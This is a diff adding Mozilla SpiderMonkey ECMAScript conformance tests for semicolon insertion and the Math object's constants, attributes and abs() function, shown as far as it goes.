diff --git a/js/src/tests/ecma/LexicalConventions/7.8.2-n.js b/js/src/tests/ecma/LexicalConventions/7.8.2-n.js
new file mode 100644
index 000000000..0675322eb
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.8.2-n.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.8.2.js
+ ECMA Section: 7.8.2 Examples of Automatic Semicolon Insertion
+ Description: compare some specific examples of the automatic
+ insertion rules in the EMCA specification.
+ Author: christine@netscape.com
+ Date: 15 september 1997
+*/
+
+var SECTION="7.8.2";
+var VERSION="ECMA_1"
+ startTest();
+writeHeaderToLog(SECTION+" "+"Examples of Semicolon Insertion");
+
+
+// new TestCase( "7.8.2", "{ 1 \n 2 } 3", 3, eval("{ 1 \n 2 } 3") );
+
+DESCRIPTION = "{ 1 2 } 3";
+EXPECTED = "error";
+
+new TestCase( "7.8.2", "{ 1 2 } 3", "error", eval("{1 2 } 3") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/browser.js b/js/src/tests/ecma/LexicalConventions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/browser.js
diff --git a/js/src/tests/ecma/LexicalConventions/shell.js b/js/src/tests/ecma/LexicalConventions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/shell.js
diff --git a/js/src/tests/ecma/Math/15.8-2-n.js b/js/src/tests/ecma/Math/15.8-2-n.js
new file mode 100644
index 000000000..9915f64e1
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8-2-n.js
@@ -0,0 +1,48 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8-2.js
+ ECMA Section: 15.8 The Math Object
+
+ Description:
+
+ The Math object is merely a single object that has some named properties,
+ some of which are functions.
+
+ The value of the internal [[Prototype]] property of the Math object is the
+ Object prototype object (15.2.3.1).
+
+ The Math object does not have a [[Construct]] property; it is not possible
+ to use the Math object as a constructor with the new operator.
+
+ The Math object does not have a [[Call]] property; it is not possible to
+ invoke the Math object as a function.
+
+ Recall that, in this specification, the phrase "the number value for x" has
+ a technical meaning defined in section 8.5.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+
+var SECTION = "15.8-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Math Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "MYMATH = new Math()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "MYMATH = new Math()",
+ "error",
+ eval("MYMATH = new Math()") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8-3-n.js b/js/src/tests/ecma/Math/15.8-3-n.js
new file mode 100644
index 000000000..eb238069b
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8-3-n.js
@@ -0,0 +1,47 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8-3.js
+ ECMA Section: 15.8 The Math Object
+
+ Description:
+
+ The Math object is merely a single object that has some named properties,
+ some of which are functions.
+
+ The value of the internal [[Prototype]] property of the Math object is the
+ Object prototype object (15.2.3.1).
+
+ The Math object does not have a [[Construct]] property; it is not possible
+ to use the Math object as a constructor with the new operator.
+
+ The Math object does not have a [[Call]] property; it is not possible to
+ invoke the Math object as a function.
+
+ Recall that, in this specification, the phrase "the number value for x" has
+ a technical meaning defined in section 8.5.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+*/
+var SECTION = "15.8-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Math Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "MYMATH = Math()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "MYMATH = Math()",
+ "error",
+ eval("MYMATH = Math()") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.1-1.js b/js/src/tests/ecma/Math/15.8.1.1-1.js
new file mode 100644
index 000000000..9b21b00a4
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.1-1.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.1-1.js
+ ECMA Section: 15.8.1.1.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.E
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.8.1.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.E";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.E = 0; Math.E",
+ 2.7182818284590452354,
+ eval("Math.E=0;Math.E") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.1-2.js b/js/src/tests/ecma/Math/15.8.1.1-2.js
new file mode 100644
index 000000000..6efa56bd5
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.1-2.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.1-2.js
+ ECMA Section: 15.8.1.1.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.E
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.8.1.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.E";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MATH_E = 2.7182818284590452354
+ new TestCase( SECTION,
+ "delete(Math.E)",
+ false,
+ eval("delete Math.E") );
+new TestCase( SECTION,
+ "delete(Math.E); Math.E",
+ MATH_E,
+ eval("delete Math.E; Math.E") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.2-1.js b/js/src/tests/ecma/Math/15.8.1.2-1.js
new file mode 100644
index 000000000..558914e2c
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.2-1.js
@@ -0,0 +1,30 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.2-1.js
+ ECMA Section: 15.8.2.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.LN10
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.8.1.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LN10";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.LN10=0; Math.LN10",
+ 2.302585092994046,
+ eval("Math.LN10=0; Math.LN10") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.2-2.js b/js/src/tests/ecma/Math/15.8.1.2-2.js
new file mode 100644
index 000000000..0f161492f
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.2-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.2-1.js
+ ECMA Section: 15.8.2.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.LN10
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LN10";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete( Math.LN10 ); Math.LN10",
+ 2.302585092994046,
+ eval("delete(Math.LN10); Math.LN10") );
+
+new TestCase( SECTION,
+ "delete( Math.LN10 ); ",
+ false,
+ eval("delete(Math.LN10)") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.3-1.js b/js/src/tests/ecma/Math/15.8.1.3-1.js
new file mode 100644
index 000000000..63dbea87d
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.3-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.3-1.js
+ ECMA Section: 15.8.1.3.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.LN2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.3-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LN2";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.LN2=0; Math.LN2",
+ 0.6931471805599453,
+ eval("Math.LN2=0; Math.LN2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.3-2.js b/js/src/tests/ecma/Math/15.8.1.3-2.js
new file mode 100644
index 000000000..d9c71bfa4
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.3-2.js
@@ -0,0 +1,38 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.3-3.js
+ ECMA Section: 15.8.1.3.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.LN2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LN2";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var MATH_LN2 = 0.6931471805599453;
+
+new TestCase( SECTION,
+ "delete(Math.LN2)",
+ false,
+ eval("delete(Math.LN2)") );
+
+new TestCase( SECTION,
+ "delete(Math.LN2); Math.LN2",
+ MATH_LN2,
+ eval("delete(Math.LN2); Math.LN2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.4-1.js b/js/src/tests/ecma/Math/15.8.1.4-1.js
new file mode 100644
index 000000000..d29d114e9
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.4-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.4-1.js
+ ECMA Section: 15.8.1.4.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.LOG2E
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.4-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LOG2E";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.L0G2E=0; Math.LOG2E",
+ 1.4426950408889634,
+ eval("Math.LOG2E=0; Math.LOG2E") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.4-2.js b/js/src/tests/ecma/Math/15.8.1.4-2.js
new file mode 100644
index 000000000..ff4620867
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.4-2.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.4-2.js
+ ECMA Section: 15.8.1.4.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.LOG2E
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.4-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LOG2E";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete(Math.L0G2E);Math.LOG2E",
+ 1.4426950408889634,
+ eval("delete(Math.LOG2E);Math.LOG2E") );
+new TestCase( SECTION,
+ "delete(Math.L0G2E)",
+ false,
+ eval("delete(Math.LOG2E)") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.5-1.js b/js/src/tests/ecma/Math/15.8.1.5-1.js
new file mode 100644
index 000000000..4f83a1ad4
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.5-1.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.5-1.js
+ ECMA Section: 15.8.1.5.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.LOG10E
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.8.1.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LOG10E";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.LOG10E=0; Math.LOG10E",
+ 0.4342944819032518,
+ eval("Math.LOG10E=0; Math.LOG10E") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.5-2.js b/js/src/tests/ecma/Math/15.8.1.5-2.js
new file mode 100644
index 000000000..3203f0bcf
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.5-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.5-2.js
+ ECMA Section: 15.8.1.5.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.LOG10E
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.5-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.LOG10E";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete Math.LOG10E; Math.LOG10E",
+ 0.4342944819032518,
+ eval("delete Math.LOG10E; Math.LOG10E") );
+
+new TestCase( SECTION,
+ "delete Math.LOG10E",
+ false,
+ eval("delete Math.LOG10E") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.6-1.js b/js/src/tests/ecma/Math/15.8.1.6-1.js
new file mode 100644
index 000000000..4a3fa1b19
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.6-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.6-1.js
+ ECMA Section: 15.8.1.6.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.PI
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.6-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.PI";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.PI=0; Math.PI",
+ 3.1415926535897923846,
+ eval("Math.PI=0; Math.PI") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.6-2.js b/js/src/tests/ecma/Math/15.8.1.6-2.js
new file mode 100644
index 000000000..ad5fe3dfd
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.6-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.6-2.js
+ ECMA Section: 15.8.1.6.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.PI
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.6-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.PI";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete Math.PI; Math.PI",
+ 3.1415926535897923846,
+ eval("delete Math.PI; Math.PI") );
+
+new TestCase( SECTION,
+ "delete Math.PI; Math.PI",
+ false,
+ eval("delete Math.PI") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.7-1.js b/js/src/tests/ecma/Math/15.8.1.7-1.js
new file mode 100644
index 000000000..bb41c1d1a
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.7-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.7-1.js
+ ECMA Section: 15.8.1.7.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.SQRT1_2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.7-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.SQRT1_2";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.SQRT1_2=0; Math.SQRT1_2",
+ 0.7071067811865476,
+ eval("Math.SQRT1_2=0; Math.SQRT1_2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.7-2.js b/js/src/tests/ecma/Math/15.8.1.7-2.js
new file mode 100644
index 000000000..0c931e734
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.7-2.js
@@ -0,0 +1,36 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.7-2.js
+ ECMA Section: 15.8.1.7.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.SQRT1_2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.7-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.SQRT1_2";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete Math.SQRT1_2; Math.SQRT1_2",
+ 0.7071067811865476,
+ eval("delete Math.SQRT1_2; Math.SQRT1_2") );
+
+new TestCase( SECTION,
+ "delete Math.SQRT1_2",
+ false,
+ eval("delete Math.SQRT1_2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.8-1.js b/js/src/tests/ecma/Math/15.8.1.8-1.js
new file mode 100644
index 000000000..6f9b4b982
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.8-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.8-1.js
+ ECMA Section: 15.8.1.8.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Math.SQRT2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "15.8.1.8-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.SQRT2";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.SQRT2=0; Math.SQRT2",
+ 1.4142135623730951,
+ eval("Math.SQRT2=0; Math.SQRT2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.8-2.js b/js/src/tests/ecma/Math/15.8.1.8-2.js
new file mode 100644
index 000000000..c276ab9bf
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.8-2.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.8-2.js
+ ECMA Section: 15.8.1.8.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.SQRT2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.8.1.8-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.SQRT2";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "delete Math.SQRT2; Math.SQRT2",
+ 1.4142135623730951,
+ eval("delete Math.SQRT2; Math.SQRT2") );
+
+new TestCase( SECTION,
+ "delete Math.SQRT2",
+ false,
+ eval("delete Math.SQRT2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.8-3.js b/js/src/tests/ecma/Math/15.8.1.8-3.js
new file mode 100644
index 000000000..eae3d9455
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.8-3.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.8-3.js
+ ECMA Section: 15.8.1.8.js
+ Description: All value properties of the Math object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Math.SQRT2
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+var SECTION = "15.8.1.8-3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Math.SQRT2: DontDelete");
+
+new TestCase( SECTION,
+ "delete Math.SQRT2",
+ false,
+ eval("delete Math.SQRT2") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.1.js b/js/src/tests/ecma/Math/15.8.1.js
new file mode 100644
index 000000000..3105fefb3
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.1.js
@@ -0,0 +1,115 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.1.js
+ ECMA Section: 15.8.1.js Value Properties of the Math Object
+ 15.8.1.1 E
+ 15.8.1.2 LN10
+ 15.8.1.3 LN2
+ 15.8.1.4 LOG2E
+ 15.8.1.5 LOG10E
+ 15.8.1.6 PI
+ 15.8.1.7 SQRT1_2
+ 15.8.1.8 SQRT2
+ Description: verify the values of some math constants
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+var SECTION = "15.8.1"
+ var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Value Properties of the Math Object";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+new TestCase( "15.8.1.1", "Math.E",
+ 2.7182818284590452354,
+ Math.E );
+
+new TestCase( "15.8.1.1",
+ "typeof Math.E",
+ "number",
+ typeof Math.E );
+
+new TestCase( "15.8.1.2",
+ "Math.LN10",
+ 2.302585092994046,
+ Math.LN10 );
+
+new TestCase( "15.8.1.2",
+ "typeof Math.LN10",
+ "number",
+ typeof Math.LN10 );
+
+new TestCase( "15.8.1.3",
+ "Math.LN2",
+ 0.6931471805599453,
+ Math.LN2 );
+
+new TestCase( "15.8.1.3",
+ "typeof Math.LN2",
+ "number",
+ typeof Math.LN2 );
+
+new TestCase( "15.8.1.4",
+ "Math.LOG2E",
+ 1.4426950408889634,
+ Math.LOG2E );
+
+new TestCase( "15.8.1.4",
+ "typeof Math.LOG2E",
+ "number",
+ typeof Math.LOG2E );
+
+new TestCase( "15.8.1.5",
+ "Math.LOG10E",
+ 0.4342944819032518,
+ Math.LOG10E);
+
+new TestCase( "15.8.1.5",
+ "typeof Math.LOG10E",
+ "number",
+ typeof Math.LOG10E);
+
+new TestCase( "15.8.1.6",
+ "Math.PI",
+ 3.14159265358979323846,
+ Math.PI );
+
+new TestCase( "15.8.1.6",
+ "typeof Math.PI",
+ "number",
+ typeof Math.PI );
+
+new TestCase( "15.8.1.7",
+ "Math.SQRT1_2",
+ 0.7071067811865476,
+ Math.SQRT1_2);
+
+new TestCase( "15.8.1.7",
+ "typeof Math.SQRT1_2",
+ "number",
+ typeof Math.SQRT1_2);
+
+new TestCase( "15.8.1.8",
+ "Math.SQRT2",
+ 1.4142135623730951,
+ Math.SQRT2 );
+
+new TestCase( "15.8.1.8",
+ "typeof Math.SQRT2",
+ "number",
+ typeof Math.SQRT2 );
+
+new TestCase( SECTION,
+ "var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS",
+ "",
+ eval("var MATHPROPS='';for( p in Math ){ MATHPROPS +=p; };MATHPROPS") );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.1.js b/js/src/tests/ecma/Math/15.8.2.1.js
new file mode 100644
index 000000000..d5ea49470
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.1.js
@@ -0,0 +1,192 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.1.js
+ ECMA Section: 15.8.2.1 abs( x )
+ Description: return the absolute value of the argument,
+ which should be the magnitude of the argument
+ with a positive sign.
+ - if x is NaN, return NaN
+ - if x is -0, result is +0
+ - if x is -Infinity, result is +Infinity
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+var SECTION = "15.8.2.1";
+var VERSION = "ECMA_1";
+var TITLE = "Math.abs()";
+var BUGNUMBER = "77391";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.abs.length",
+ 1,
+ Math.abs.length );
+
+new TestCase( SECTION,
+ "Math.abs()",
+ Number.NaN,
+ Math.abs() );
+
+new TestCase( SECTION,
+ "Math.abs( void 0 )",
+ Number.NaN,
+ Math.abs(void 0) );
+
+new TestCase( SECTION,
+ "Math.abs( null )",
+ 0,
+ Math.abs(null) );
+
+new TestCase( SECTION,
+ "Math.abs( true )",
+ 1,
+ Math.abs(true) );
+
